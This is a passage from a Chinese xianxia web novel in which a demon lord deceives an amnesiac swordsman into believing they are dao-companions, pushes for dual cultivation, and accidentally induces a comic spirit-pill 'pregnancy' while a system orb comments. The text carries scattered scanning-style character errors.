看起来更渗人了。 像是想要将他生吞活剥了。 男人醒来已有几个时辰,他的感知异常敏锐,时常察觉少年有意无意地警着自己,目光如有实质地将他从头到脚翻阅过数遍,让人莫名感到局促和如芒在背。 他们俩真的是道侣吗? 要知道修仙之人修道亦修心,虽然不至于个个都如同修无情道那般不近情爱,但从也不轻易结交道侣,但凡,立了誓,天道亦得承认两人之间的羁约。 换句话来说:道侣一事,不可儿戏。 男人觉得,自己并不是那种轻浮的修士 吧? 恍惚间,他冷不丁忆起了一件事。在意识模糊之际,他隐约感受到有人往自己嘴里灌了什么东西,睁眼醒来时,身边只有少年一人。现在想想,大概是对方用灵药搭救他。后来自己说冷,少年便将他抱到山洞中生火取暖,又见他虚弱得无法起身,便大方地喂给他一粒灵药,效果立竿见影,虽然不知用了什么宝贵材料,但造价定然不非,寻常不可得。尽管少年的表情暴躁,语气怨怼,对他却是实打实的仗义。根据当下的场景,以及对方此前透露出的只言片语,男人在心底默默复原着失忆前的情景一他叫阿洄。应该不姓屠。是个剑修。 重伤后赖上了眼前这位少年,随后不知发生了什么事,两人之间似乎发生了阵仗颇大的争斗,他不仅对少年动了手,还动起了剑? 再然后,他受了重伤,跌落河谷。 是少年反击? 思忖间,阿洄眼皮半敛,目光不着痕迹在少年身上打量了两圈,没成想对方察觉之后,当即支着下巴,恶声恶气地斥道:“看什么看?!"“我弓着背才显得矮小些! 阿洄沉默地收回视线. 看着不像啊。 他凝视着那堆烧得噼啪作响的火堆,有些想不通。 眼前这个语气恶劣的少年竟是搭救了自己的人,且极为慷慨地给他服用了不止一次疗伤的灵药? 至此,阿洄终于弄明白了自己每每望向少年时,那股萦绕在心头的负疚之情究竟是从何而来了。 ….原来他竟是个负心汉。也怪不得少年始终对他不假辞色了。饶是如此,对方却总是将目光投向他,视线火热得像是两根烧红的针,恶狠狠地刺入他的肌肤,痛感明显,让人无法忽略 那眼神 仿佛对方早已情根深种,却因年少倔强而刻意说反话。阿洄完整地思量了一遍,稍显不白在地抬手拨弄了两下垂到脸侧的发丝,忍不住低声问道:“小修,你那儿有治疗淤伤的药吗?" 话音落下。 屠天霸艰难地将目光从男人的前胸与腰腹处移开,尤其是对方的腰侧横着一条巴掌长的旧疤,随着男人的呼吸吐纳,那道归疤跟着肌肉一同起起伏伏,看上去极具男子气概. 后背的肌肉线条更是精瘦流畅,让人流口水。 屠天霸没在狗屁仙君的上身瞧见外伤,想必伤处必然是在衣物遮掩的地方。他忍不住冷哼一声,语气讥讽地道: “怎么?" “难不成你的大屁股被河谷中的石头撞青了?" 屠天霸转念一想:这不是正好? 狗屁仙君涂药必定要除掉身上衣裤,到时候作为药物的借出者,他岂不是可以在一旁观摩? 屠天霸暗暗为自己的机智喝彩。 于是他伸手探入衣袖,都不需要仔细寻找,很快就掏出了一个雕花小圆盒,然后很随意地朝对面丢去。 “啪!” 阿洄灵巧地接住了盒子。 他忽略了少年的某个借词,低头看向自己的掌心,就见一个小药金躺在其间,盒身通红,做工并不精细,就是俗世街巷中摆雄贩卖的洇脂水粉盒子,盖顶的莲花图纹已经模糊了,盒身还有数道划痕 看上去似乎使用了很久。 屠天霸继续用双手撑脸,一双杏眼圆睁,正等着狗屁仙君将身上的衣物都褪除,却见男人先是将盒子轻轻放到脚边,然后两只手拎起膝头的里衣往身上披,将好风光都遮掩了个干净。 屠天霸:”?” 不是,怎么还穿上啊! 下一瞬。 男人捏着小药盒站起身,绕过火堆几步走到了他的身侧。 屠天霸不自觉地侧仰着头看人,心头很是不爽,表情也愠怒,可就在他想要开口骂人的时候,狗屁仙君忽然在他身边蹲了下来,随后几下就将药盒盖子打开了。 一股微苦的药香从盒中泻出来。 阿洄伸出食指想要去沾药育,却发现盒中淡绿色的膏脂已经用掉了大半,几乎只剩下薄薄一层底了。他动作顿了顿,很快又恢复了正常。 膏脂细腻,有些凉。 他用食指沾取了些许,动作缓慢地往少年微红的脸侧探去,心中有愧,只好轻声耳语道:“抱歉,我方才检查了一番身上的物件,发现自己身无长物,如今只好借花献佛了 还是借少年的花,献少年的佛。 屠天霸愣住了。 剑修的指腹并不柔软,一下下地蹭在他脸上,有些刺痛。 屠天霸想不明白,自己明明向来不喜他人近身,为何此时却不躲开狗屁仙君的手指,甚至脸皮还开始发烫,酥酥麻麻的异感在对方的指腹下滋生,一路窜到了脑中。 宛如雷电。 又似花火。 两人对视着,仍旧没有说话,其中一人面容呆滞,另一人往他的脸上涂药。阿洄敛着眸,眼尖地发现少年的耳根微微泛红,指下的面部肌肤也继续升温,心中的猜测恍然成了真。 …少年钟情于他。 阿洄警着少年稍显稚气的面孔,心中愧意更甚,不由得暗叹了一口气,涂完药的食指仍残留着些许温润,他弯曲指节,用指关节轻轻刮了一下少年的鼻梁,道了声 “感觉好些了吗?" 屠天霸满脸通红地张了张嘴,半响没说出话, …救命。 他袖子好像断了? 好耶!! 169、Chapter 169 几乎是刹那之间。 屠天霸果断做出了一个违背祖宗的决定,并忍痛放弃了年幼时的自己心心念念的愿望-一娶一个温柔贤惠的漂亮妻子,再跟妻子生几个小娃娃,一大家子过上寻常又幸福的生活,他挥一挥衣袖,决定做个断袖。当然了,这是暂时的。 具体时效为:一天。 屠天霸灵活地定了一个断袖期限,准备等自己亲身体会过了那本书中所描述的无边极乐之后,再考虑要不要将这期限延长,亦或是寻回初心。 行事不拘一格。这便是他身为邪道魔尊的气概。 屠天霸忍不住暗暗为自己叫好, 殊不知自己此时的神情与动作全然落入了另一人的眼中。 阿洄单膝点地,半蹲在少年的前侧方。 下蹲时,他的肢体下意识地带出过往的习惯,腰背格外挺直,不经意显出几分清正之气,以至于身前的少年不得不仰着脸看他。 火光无遮拦,在少年的眸中跳动,忽明忽暗。 阿润网收回手,就见少年的神情微楞,与自己对视时,眼珠子也不乱转了。他先,是用力地眨了两下眼睛,然后拾手碰了碰自己的鼻梁,用指尖按住刚才被男人轻到了一下的地方,唇微微张,却不说话。 像是说不出话。 又似是从来没有被人这样对待过。 阿洄望着少年忽闪着碎光的眸子,注意到对方拾手时,衣袖滑落至时间,露出一截细瘦的手腕,只是先前他将自己抱到山洞里的动作极为流畅,脚下也稳当. 因此,发现自己重伤失忆的阿洄并没有细究。 只是现在看来,少年除了脸园一些,让他看起来莫名年幼椎气,身形却是瘦高的,尤其是这截,几乎是皮贴着骨,血管筋脉的痕迹异常明显。 阿洄骤然滋生出一种说不清所以然的情绪。 这股情绪驱使着他再度拾手,轻而又轻地戳了戳少年另一侧安然无恙的脸颊,指下的触感很绵软,无端让人联想到某种点心。 屠天霸:"!" 狗屁仙君是不是又在使坏?!屠天霸只觉得自己的另外半边脸也开始发麻了,他情不自禁地捂住刚才被男人戳了一下的脸颊,盘坐着的脚腕绷直使劲,整个人就如弹簧一般噌地从地上弹跳起来。他闲不住,捂着脸在原地转了个圈。见男人的视线追着自己,屠天霸的脑子里飞快闪过方才看过的话本内容,他忍不住又转了个圈,往山洞口迈了几步,见到微黄的光线透过藤蔓钻进来,在地上形成一道道光.栅天还亮着。屠天霸眼珠子乱转,沉吟道: “嗯" “天色不早了,该吃晚饭了吧。 他压根不等山洞中的另一人回答,自问自答似的点点头,然后动作熟练地从袖里乾坤掏出餐食- 一块巨大的灵兽肉。 成年人一臂长的肉排烤得焦香浓郁,因储物空间的法阵而保持在最新鲜的状态,如今正散发着阵阵诱香。 嗵的一酈鰲摄氿轶设。 屠天霸将盛放着烤肉的木盘放到了男人身前。阿洄垂眸,发现烤肉底下垫了一片不知名灵植的圆形叶片,边缘处还点缀着几朵白色小花。他瞧着,脸上忍不住带出一抹很浅的笑紧接着,少年又盘腿坐下,很豪迈地招呼道: "吃。"说完,他自己便撕下一块,大快朵顾起来。大概是由于口腔里塞入了过量的吃食,少年本就圆润的面庞看上去更鼓了,一嚼一嚼的模样让人忍不住向他投去目光。阿洄看了好一会儿,有些不适应地学着少年的动作,也撕下一块肉排,张口进食的瞬间,他想着我并不适应这样的用餐方式。 而且我好像已经很久没有吃过东西了? 下一瞬。 吃得真香。 极致的咸味自舌尖传来,男人动作一顿,心中思绪全然不见了,只剩下咸到发苦的味道,可当他不动声色地望向少年时,却发现对方的表情自然,杏眼还愉悦地半眯起来 阿洄:"" 他有些怀疑地又咬了一口。 烤肉的火候恰到好处,撕扯间还有滚烫的琥珀色汁水溢出,绯红的肌理绽出混着着油脂的香气,看上去格外诱人。 但是,真的很咸。 屠天霸并不清楚男人正在怀疑自己的味觉。 他没有让食的习惯,如今能假模假样地邀清狗底仙君一同用饭,都是冲着待会儿想做的那事,他吃完盘中的肉,拾头却见男人举着最初斯下的那块肉,半响也没吃完,反而一个劲儿地盯着自己看刚吃饱了饭,屠天霸决定暂时不骂人。见男人久久没有动作,他没耐心地问了句, “喂,你还吃吗?"阿洄心情微沉地摇了摇头,只是他刚要开头说话,手里的肉就被少年探头过来一口叼走,几下就吞进肚子里了,对方似乎发觉自己神情有异,补充了一句,“我不嫌你脏。" 阿洄: n 屠天霸不是个太讲究的人。 比起被男人斯斯文文咬了两口,只咬出皮外伤的熟肉块,他曾经还追着四处逃室的灵兽直接生啃,也没嫌弃过。 不得不说,蛟龙肉是真的补啊。 他好像还剩下半条拿去泡酒了,多年过去,竟都忘了喝。 屠天霸想了想,忍不住喟叹一声, “真香。” 而屠天霸已经动作麻利地处理掉饭后残局,又施展控水术引来一道小水流,洗了嘴巴又洗手,难得好脾气地督促着男人也洗了一遍正常来说,像他这般等级的修士早就辟谷了,哪怕是偶尔起了口腹之欲,也绝对不会像屠天霸这样若是没什么要事,几乎如同凡人一般,顿顿不落地吃饭。 男人只以为他在说烤肉,陡然陷入一阵沉默。 思量许久,阿洄决定暂时按下不表。 有时候,屠天霸还要多吃几顿。 俗话说得好,民以食为天。 他不多吃一点,怎么有力气抵御心魔? 屠天霸满足地拍了拍肚子,心里已经开始盘算另一件事了。 山洞里安静了片刻。 他瞥了眼男人的侧颜,重复了一遍, “天色不早了。” 阿洄默了默,应道: ".…此时太阳还未落山。 屠天霸有理有据地说:“但我们已经吃过晚饭了。”不等男人应答,他接着道: “该睡觉了吧。” 阿洄:" 话音刚落。 男人就见少年又噌地一下起身,几步走到先前的空地,将那块大得出奇的熊皮掏了出来。只不过他没有上次那般猴急,而是整个人摊开双掌向后倒去,嘭地摔在熊皮上。 熊皮很厚实,摔不疼人。 少年懒洋洋地变换了个侧躺的姿势,拾起一手撑住自己的脑袋,掌下是尚未涂药的那一边侧脸,“看在我们是道侣的份上,你可以过来跟我一起睡。 屠天霸说得有些勉强。 这块熊皮的来源可以追溯到三百年前,年方二十出头的他在外游历寻医,被一帮正道修土嫌弃得不行,尽管属天霸每一回都成功反杀了前来找荐的人,但他的心情却说不上好。 原因有二。 其一,他耳边的心魔声众多,个个都叫器着杀光天下活物,因此屠天霸并不为自己成功反杀而高兴,甚至觉得自己似乎遂了心魔的意,岂不是让它们得偿所愿? 不开心。 其三么.… 说起来有点丢人。 他看着那些成群结队的正道修士-一当然了,偶尔也有一个人打上门来的情况,然后发现自己不敌于他,掐碎传讯玉简唤师兄师姐之类的人来帮忙。 屠天霸有些费解。 那些人竟不怕死一般,一个接着一个前来送菜? 想来想去,他更不开心了。 他觉得始终形单影只的自己有点可怜。 正因如此,屠天霸才寻了块宝地,打算好好钻研一番人鼎融合的症状,恰好也免去了那些正道修士的麻烦。 当时,他正在山中寻找洞府,偶然发现了一个绝好的山洞,但洞中已有巨熊占据。巨熊体型巨大魁梧,威武霸气,连吼叫声都威风得不得了,让他格外喜欢。 屠天霸本来都打算退出去,另寻他处了。 不料巨熊嗷鸣一声就冲了上来,他只好遗憾地举起了屠刀,最后熊皮倒是被他留了下来,如今已经陪伴了屠天霸三百年之久,上头设置了数个法阵,能让它纤尘不染,时刻保持柔软与清洁。 怎一个舒服了得。 屠天霸对熊皮的感情深厚,极其不愿除了自己以外的人来染指,但无论怎么说 他也是第一次跟人双修啦。 只好勉强忍耐一下了。 见男人似乎没有反应过来,屠天霸半是催促,半是补充地道:“对了,你身上的衣服泡过河水,睡上来之前要全部脱掉,这么脏的东西可不能睡上我的熊皮。 说话间,少年的眼珠子又忍不住转了两圈. 阿洄盯了他许久,忍不住歪了一句,".你刚才不是说,不嫌我脏吗?"间言,屠天霸的表情一下子变得凶恶起来,那双杏眼瞪着男人,嘴里却喝呃啊唔了几下,才应道:“虽然我不嫌你脏,但是你的衣服又不是你,我当然会嫌了!快点脱掉!"谁叫他之前还没看够,这狗屁仙君就将衣服穿起来了?没想到,男人另有主意。他的目光落到少年的袖口,迟疑几息,开口问道:“你应该有携带其他干净衣物吧?我能换上衣服再休息吗?"尽管天色未暗,但阿洄确实想休息了。少年的建议算是合了他的意。虽说灵药让他恢复了行动能力,但不知为何,刚才用餐时,阿洄只觉得自己的下腹频繁地出现异感,不疼,只是一阵阵地散发着由内而外的热除了热,他还感到困顿疲倦。 但男人以为这是灵药的作用,没有多想。 就在这时。 他听到少年果断拒绝道: “没有!快点脱光躺过来! 阿洄:“……" 沉默许久。 他心情复杂地道了声, "我还是去睡干草堆吧。” 170、Chapter 170 由于少年侧躺的姿势,阿洄看向他的时候只得微领首,以至于烘干后变得异常柔顺的长发从肩后滑落, 垂到身前,盖住了他发烫的耳朵, 其实他并不适应披散长发,本能地觉得这般模样不成体统,此时却忍不住感到几分庆幸。起码散落的发丝遮住了自己稍显窘迫的神情。原因无他。只因眼前的少年几乎将情绪写在了脸上,心思极容易猜。听他话里话外的意思,阿洄觉得对方不像是嫌弃自己身上的衣服不干净,反倒是翻来覆去地催促着他脱光,躺下。少年的这番言语听起来轻浮至极,简直就是一个急不可耐的好色之徒会说的话。恍惚间,阿洄又想到对方数次直白喊出的''大胸’''大屁股”等粗俗下流之词,眼神也总流连在那几个部位上.…甚至盯得他产生了肌肤被刺痛的幻感。 但奇怪的是,阿洄竟升不起一丝丝的厌恶心思。部分缘由是感念对方的救命之恩,另一部分则是阿洄半敛着眸,将身前的景象尽收眼底。洞中昏暗, 光线是橘黄色。少年撑着脑袋,额前的短碎发看上去不太整齐,几缕翘起来,在火光中轻轻摇曳,剩余的长发被玄色发带扎成一束高马尾仔细看去,发尾还带着很轻微的卷。几缕发丝卷翘得更厉害些,勾着他撑脸的腕,不安分。他的眼瞳清澈透亮,仿佛将火堆里的光全吸了进去,又像是有火从里头喷出来,鼻梁上的那粒小痣随着他皱眉鼓脸的生气表情一晃红得扎眼。阿洄的反应很快,趁少年还没说出让人更不忍听的话语之前,好声好气地补充了一句,“这熊皮毯子一定是你心爱之物,就算你我是道侣,也不必事事都与另一个人分享,你对我已经很好了,我还没谢过你为我疗伤,又怎么能勉强你将心爱之物与我共享呢?"“不过,还是要多谢你惦念着我。"话毕,男人露出一抹尴尬而不失礼貌的微笑。屠天霸急着完成心魔给的新任务,哪里听得了拒绝?可当他正要抬手施诀将那堆干草烧掉之际,冷不丁听男人轻声细语地说了一通软话。男人的嗓音像是裹着羽毛,亦或是云絮,咬字与停顿的节奏却不会让人觉得他太软弱可欺,反倒透出一股子端庄正气居天霸的耳根子又开始痒。与此同时,他的喉咙上下滑动了一下,将那句还没吐出来的骂声咽了回去,忍不住在心中腹诽:可恶! 这狗屁仙君肯定修炼了某种邪门音修道法。 好生狡诈! 阿洄瞧着少年怒气减半的表情,暗自呼出一口气。 虽然对方脾气急躁,说话不大好听,但他觉得少年的本性并不坏,只是言语直爽得让人无力招架,却也好哄 只盼他不要再三强调让自己脱光这件事了。 下一瞬。 阿洄的脑中不自觉闪过一道思绪。难不成少年早前同意跟自己结成道侣,是看上了他的身子?意识到自己想了什么之后,阿洄脸上的微笑逐渐隐去,忙不迭将视线从少年身上移开,整个人因这道安念而感到万分尴尬和不自在,只觉得自己的所思所想,真是有失体统。他的潜意识对这种事情很陌生,不知该如何应对。“喂。" 正当男人盯着躺在地面的一块碎石的时候,他忽然听到少年唤了一声,又接着问道:“你真的不愿意睡过来是吧?"阿洄坚定地点了点头,嗓音却温和:"….是的,多谢你的好意。”屠天霸理所当然地接下了这道感谢。要知道,他原本可是打算将此人挫骨扬灰的。在招幽河谷寻到对方之后,屠天霸坚守心神抵御住了众多心魔音的怂恿,没有第一时间取他狗命,狗屁仙君当然应该谢谢他了!屠天霸觉得自己忍得非常辛苦。在狗屁仙君醒来之前,他的手心都抽肿了,才将那些叫不停的心魔抽得安分了几分。真的很累啊!但他也不是不能通融一下。只要狗屁仙君让他亲身实践一番双修的极乐滋味就行了。待他完成了心魔交托的任务,成功获得了新的肉身,屠天霸可以考虑不计前嫌,跟狗屁仙君一笑混恩仇,原谅对方上门说要斩杀自己,以及阻碍他借天雷动分离炼魂鼎的行为, 债 屠天霸。 你真的好善良。 屠天霸被男人哄好了一半,又被自己哄好了另一半。 他也不计较男人三番五次的推拒了,一个翻身坐起来,手一抚便将身下的熊皮收了起来,然后抬腿往干草堆的方向走去。 “好吧。” “那我陪你睡干草堆吧。 “在这种地方双修是有一点随便啦…” 少年边往那处走,边挠着后脖颈,带着些小不满地抱怨,“也就是我脾气好,第一次就遂了你的意吧,但下次你可别哪唧歪歪的了。 闻言,阿洄的脑子嗡了一下。 他的表情有一瞬间失去了控制,显得空白又呆滞,仿佛听力因伤势而降低了,下意识地发出一道质疑之声。”嗯?" 居天霸在干草堆前站定,回身见到男人跟木桩子似的一动不动,忙不迭用下巴示意了一下,嘴上还催促着 “愣什么呢?快脱了躺下啊,时间不等人!" 他断袖的时间可不多了! 尽管书上描写的首次双修持续了几个日夜,但屠天霸在心里挑挑拣拣,仍在记恨狗屁仙君坏了自己的好事,认真权衡了一番,才定下了一天的期限。这可是他经过深思熟虑才做下的决定。阿洄沉默几息,艰难地找回了自己的声音,只是开口时,嗓音都有些稳不住了,听起来带着几分哑,".….双修?" 尽管失去了过往记忆,但男人并没有对这两个字产生疑虑,下意识就明白所谓双修是怎么一回事 正因如此,他才惊讶得几平说不出话来。 屠天霸听出对方语气中的迟疑,手指抠着后脖颈思索了一番,忽然醍醐灌顶般的双手合掌。 掌心拍合时,发出清脆的一声响。 他自顾自地说道:“也对,场地是有点潦草了,怎么说都是第一次双修,总该有点仪式感.” 话音刚落。 屠天霸伸手往袖子里摸了摸,掏出几朵花撒在干草堆上。 此花不一般,名为“悟心昙”,是生长在极峰险境的雪色县花,极为罕见,百年只开一次花,花游内侧生有天然道纹,能助修土进入自己的神念空间悟道,是正道修士极为青睐的一种天材地宝。 屠天霸当初费了好些力气,才采了这么些,谁知道这花对他的心魔完全不起功效,也就长得好看,能拿出来当装饰用。 放在这个场合,也算物尽其用了。 屠天霸撒完花,又用不容拒绝的语气对男人道了声, “这下总可以了吧?" 说完,他停顿两秒,默默将脑袋偏向另一头,不让男人瞧见自己说话时乱转的眼珠子,继续道“是你非要以身抵债的,失忆不是借口。” 阿洄:“ 电光火石之间,男人发现这一切其实都有迹可循,少年的心思从来没有掩饰过,他棍了抿唇,深呼吸了两个回合,才开口应道:“不是场地合不合适的缘故屠天霸的耐心几乎消耗殆尽。他很不客气地质问道:“那是因为什么?你之前不是自己脱得欢快吗?怎么才过了这么片刻的功夫就变得如此扭捏了!"系统空间内。 白色光球跟男人一样,陷入了沉默。好家伙,祂都分不清这个宿主是癫子还是天才了。好一个春秋笔法,凭空污人清白。明明撒谎技术那么差,让人一眼就看出来,怎么这时候就想起自己之前瞎胡诌的''善良医修与贫穷剑修’的背景设定来了啊!还知道趁人之危,挟恩图报!白色光球伸出啾啾摩挲着自己的下巴,喃喃自语道:“欸呀?好像贴上原著剧情了,这癫子该不会是扮猪吃老虎设定吧?不应该呀,现阶段的宿主不是还没有跟黑海融合吗?祂在光屏前打了个滚,恍然忆起了一个画面。黑海沸腾,如亿万怨魂嘶吼。海水不断倒涌升空,将整片天地笼罩,亦将日月之光阻隔在外,浪峰凝聚成一方倒悬的黑鼎,每次潮涌都在天幕割出紫电缠绕的裂痕,黑海与方鼎融为一体,水汽与血需交织混合。天地间的灵气以不可思议的速度被它们吞噬,炼化,就连各大修仙门派的护山大阵也难以幸免,鎏金阵纹如化开的水渍一般变得模糊一个黑衣男人悬空于鼎下。男人高大而挺拔,眉眼英俊,整个人却散发着摄人的血煞之气,仿佛与之对视一眼,便会被销骨摧魂。然而,男人那双黝黑的瞳中空无一物。无论是正道修士,亦或是邪道魔修,整个修真界的修士都在朝这个方向赶来,到了这种地步,已经没有人在乎正邪之分了。远远的,有人惊恐地喊道:"不好!他想炼化这个世界!" N001收回思绪,看了眼光屏。 就见光屏上一 宿主撇着嘴,脸蛋鼓鼓,看着不太聪明的样子。 可爱吗? 哈哈,智商换的。白色光球暗暗腹诽,秉承着一贯的''不管宿主跟不跟我心贴心,我一定会跟宿主玩脑筋”的行为出发点,并没有告诉这任宿主亲,其实你不是书中开头就凉凉的背景板炮灰哦。你本该是这本书最大的伏笔与悬念,也是这本书中最大的反派当原著里的正邪两道打得不可开交,你死我活的时候,谁都没想到你突然跑出来,生动演绎了一番,什么叫做“谁都别想拦着哥创死全世界"可惜在这个新生的书中世界彻底成型之时,时空书局的世界模拟系统就亮起了警报,强行把你这个bug削成了背景板,以此来稳定这个书中世界的长久运行。 俗称,修文。 嗨呀,NPC就是这样啦。 没人权的。 还不是别人想怎么样就这么样。 N001忽然想起自己被时空书局全面通缉,误打误撞逃审到这个新生世界的那段日子了。 祂忍不住张开啾啾,心疼地抱住了圆溜溜的自己。 还是祂比较惨啦! 宿主失去的只是积分,祂失去的可是尊严! 山洞内。两人隔着几米远相望,僵持不下。对视间,男人忽然感到腹中一阵剧痛,宛如刀剑枪斧在他腹中搅动,时间逼得他出了满头的冷汗,几乎站不稳屠天霸顾不得生气了,歪着脑袋看向男人的腹部,发现那处灵气格外充沛,甚至隐隐有往外逸散的迹象,勾得炼魂鼎也不安分了。刹那间,他的耳边尽是贪婪饥渴的尖啸。就在这一刻,屠天霸福临心至般的掏出了一个空掉的药水瓶,骤然想起里面装的是什么了。是他培育催生灵芝肉身的精华月露。如果系统能听到他的这道心声的话,大概也会忍不住吐槽一句,这不就是高度浓缩的种植化肥吗?禁止虐待千岁老人啊!! 171、Chapter 171 事发得突然, 屠天霸也没料到 他低头看了眼手中空掉的瓷瓶,又看了眼疼得神情恍惚的狗屁仙君,果断将罪证塞回袖中,语气浮夸地上前扶住人 “你突发恶疾了吗?!" “快躺下,让我替你诊治一番!" 男人满脸煞白,说不出话,呼吸急促得乱了节奏,进气比出气多, 尽管如此,那张脸却仍旧好看。 屠天霸搀着人,有些不舍地将他安置在撒了重瓣县花的干草堆上,甚至很想问问他能不能在坚持一下? 他现在真的很急着双修。 然而屠天霸刚要问出口,恰逢一阵潮湿的寒风自洞外闯进来,吹得他脸上的药膏泛起阵阵冰感 啧。 他终究是心太软。 屠天霸很勉强地将这句话憋了回去,然后盘腿坐在男人身边,装模作样地搭脉, 实则开了天眼,朝他的下腹处扫去 就见一团拳头大的灵息极具活性地在男人丹田中游动,周身溢出千丝万缕金线,往他的每一支经脉里钻,与之融合. 情况不太妙。 敛灵丹看上去怎么像是活了一样? 好在这么多年的医书不是白看的,不多时,屠天霸便摸出了些许头绪。 他先前给男人喂了一整瓶敛灵丹,此丹药跟书册里描述的丹蛊效用差不多,都能长期留存于人体内,阻隔灵气 但丹蛊的本质是蛊虫,是活物,能将寄生者体内的灵气吞消化,化为已用。 敛灵丹只是把灵气吸收储存,吸收满了还会爆丹,平白消耗天地灵气。 当初屠天霸打一眼就觉得这东西真是个废物,可炼都炼出来了,总不能扔了吧? 炼丹材料可都是难得收集来的好东西。 丢了怪可惜的。 本着勤俭持家的好品质,屠天霸将这些废丹保留了下来,果然在今日派上了用场。 他将其尽数喂给了昏迷中的男人。 不多不少,九十九颗。 本来那一炉足足有百丸,其中有一丸被他试用后毁去了,剩下的便都进了这狗屁仙君的肚子。 天地可鉴,他一点都没藏私。 这数目的敛灵丹足以抽空一个大型秘境的灵气,如今聚集在一个人的下丹田中,纵使狗屁仙君的体质受到天道眷顾,也得老老实实地当个凡人。 屠天霸知道自己是个心思缜密,行事严谨的聪慧男子,但有时候不得不承认,再严谨的人也会出一些小岔子 为了不让男人被丹药噎死,他随手喂给对方的药水,居然是仅剩一瓶的精华月露。 这可是十成十的好东西呀! 这道灵宝,可以追溯到百年前屠天霸刚开始栽培肉灵芝的时候。 那些生长年限低一些的肉灵芝不堪魔气侵蚀, 他刚一靠诉,它们便订即枯死 年份稍长一些的,能多撑片刻。 但结局几乎没什么变化。 所有肉灵芝一见了他,似乎突然开了灵窍,齐刷刷地喊着''不活了不活了’,不顾屠天霸的痛惜挽留,当场嗝屁。 屠天霸既心疼又生气。 只是这些生长在秘境中的肉灵芝都是他重塑肉身的关键材料,四舍五入,就是他本人. 屠天霸这么一想,瞬间不气了。 后来他又费了许多功夫,取得了当世仅存的三瓶精华月露,随即再度进入秘境,成功取回了里头最为肥硕的灵芝王 屠天霸现在想起来,仍旧满心感慨 真是一场艰难无比的野采啊。 随即,他又想到这百年心血统统打了水漂,手上搭脉的动作不自觉转为住男人的手腕,力道极重 还是有点气。 但是看在他失忆后问自己脸疼不疼,又替自己涂药的份上,屠天霸决定暂且压下这股怒气,双修之后再做决断. 主要是心魔音太吵了。 他忍得好辛苦。 “唔." 心绪骤然被男人的低声痛呼打断,屠天霸松开手,垂眸看到对方腕间留下一圈乌青印,连忙又将手掌覆了回去。 再看男人, 他现在的状况实在算不得好,先前好不容易烘干的衣服和头发都被汗水浸潮了,几缕发丝黏在他的额角,肌肤下青筋鼓起。 他抿唇闭眼,牙根紧咬,一手捂着自己的肚子,另一只手被屠天霸扣在手中,手指握成了拳,指盖几乎将掌心划破。 屠天霸拾手抠了抠后脖颈,上身弯折到男人的耳边,对他轻声道: “啊,那个,现在有一个好消息,还有一个坏消息,你想先听哪个?" 见男人不应答,屠天霸便自顾自地往下说了,还仗着对方闭着眼,看不到自己乱转的眼珠子,毫不掩饰地道: “还是先说好消息吧。 “之前为了"救你”,我给你吃了很多好东西哦,所以你才能这么快醒过来,还活蹦乱跳的,但是吧.…. 要知道,一滴精华月露便可抵灵芝生长百年所需的灵气,他误打误撞给男人灌下了一整瓶。 后来为了偷懒,他又给男人吃了补丹。 再加上对方还是能自发吸收灵气修补经脉的体质 种种前因,造就了现在的果。 一言以概括之: 敛灵丹在诸多灵气灌注之下,产生了一道自我意识。 它本能地感知到呆在这具身体里的百般好处,生怕被剥离出去,便九九归一,还将灵气转化为血肉,扎根在男人的身体中,以达成最终的目的。 借腹降生,脱胎换骨。 屠天霸生怕男人疼得听不清他说话,靠得更近了,嘴唇挨上男人冰凉的耳廓 “简单来说就是 “你好像怀孕了。" “喂,你怎么不说话?" 屠天霸正纳闷男人怎么如此冷静,下一瞬就察觉对方的呼吸缓了下来,他撩起男人的头发一看 居然疼昏过去了?! 他有些疑惑:“真的这么疼吗?” 话毕,他施了个感官共振的法术,将男人此时的痛感转移到自己身上,细细感受了一番,更加纳闷了。 “还好呀?" “这不是不疼么?" 系统空间内。 白色光球欲言又止。 这个宿主癫归癫,还是挺惨的。 祂望了眼醒了不到半日,又被折腾到昏迷的主角,还是仗义执言道: “宿主,你曾经在炼魂鼎中遭受阴火焚身之苦,神魂与炼魂鼎绑定在一块,时刻被恶意与怨念围绕,心魔缠身 耐受值失衡,早就感官异常啦! 味觉失调只是其中最微不足道的一项。 但N001自觉是个高情商的系统,当然不会说得这么直白了,而是委婉道: ''宿主能忍常人所不能忍,主角肯定没有你这么厉害嘛,你医术这么好,一定看出他现在是什么情况了吧? 屠天霸被吹得飘飘然,当即应道: “那是自然!" 紧接着,他将自己的诊断向机智心魔和盘托出:“此世间能生出自我意识的灵宝少有,但灵宝一旦出世,没有人会不觊舰,得到之后要么将其炼化,要么让灵宝认自身为主,以供取使 “认主契约一旦结下,难以逃脱。 “"敛灵丹生出一丝意识,居然想要借狗屁仙君的身改头换面,不过死物终究只是死物,若是不把它取出来,恐怕这人的生机很快就会被榨干,化作一具干尸了。" 屠大霸娓娓道来。 下一瞬,机智心魔便在他耳边哇哇大叫起来,吵得屠天霸下意识皱起眉 “卧槽,宿主你你你,你这是快把主角搞死了啊?!" “这个时间点也就原著开篇,你居然搞出这么大的事,要是主角死了,你要跟谁补全关键剧情啊?那你就没有奖励了!" 这个濒危书中世界也会彻底塌陷。 屠天霸忍着烦躁,解释道: “我没有搞死他。 说完,他顿了顿,又补充了一句, “我只是搞大了他的肚子。"” 白色光球:".…" 紧接着,屠天霸思索片刻,纠正了自己的说法,“这是假孕,是灵宝借助人身,企图蒙蔽天道法则为自己改换面目罢了。” 说着说着,他还忍不住长叹一声, “不愧是我炼出来的丹药,真是跟我一样机智过人,竟也这般不认命!" 白色光球:". 都什么时候了,还在这里放声感慨! 白色光球生怕主角发生意外,以至于自己任务失败,因为一旦濒危世界塌陷,就会被总局的逃生通道传送回去。 那不是死定了?? 祂可不要被第三次全面清扫! 白色光球企图唤醒宿主心中对主角的一丝柔情,嗓音甜甜道: “你就不担心他就此殒命吗?在他失忆之时,还亲手为你擦拭药膏,当时宿主的心情跌宕起伏,分明很受触动吧?" 闻言,少年对自己的心魔露出了本真。 光屏上。 那张稚气的面孔摆着冷淡的表情,看上去空洞又麻木。 屠天霸反问道:“那又怎么样?本尊从未忘记他曾说要杀我,他对本尊好,是因为本尊的谎言以假乱真,他信以为真! “等他恢复记忆,还不是要杀我!" 白色光球:"…" 妈耶,被说中原著片段了。 屠天霸越说越气。 在过往数百年的经历中,他从正道修士身上学会了很多,刻骨铭心的一点便是 千万别对想杀自己的人手下留情。 就算他不对那些人赶尽杀绝,那些人亦会这样对他,甚至不吝于欺骗手段。 屠天霸早就有所领受了。 届时,他又听机智心魔问自己, 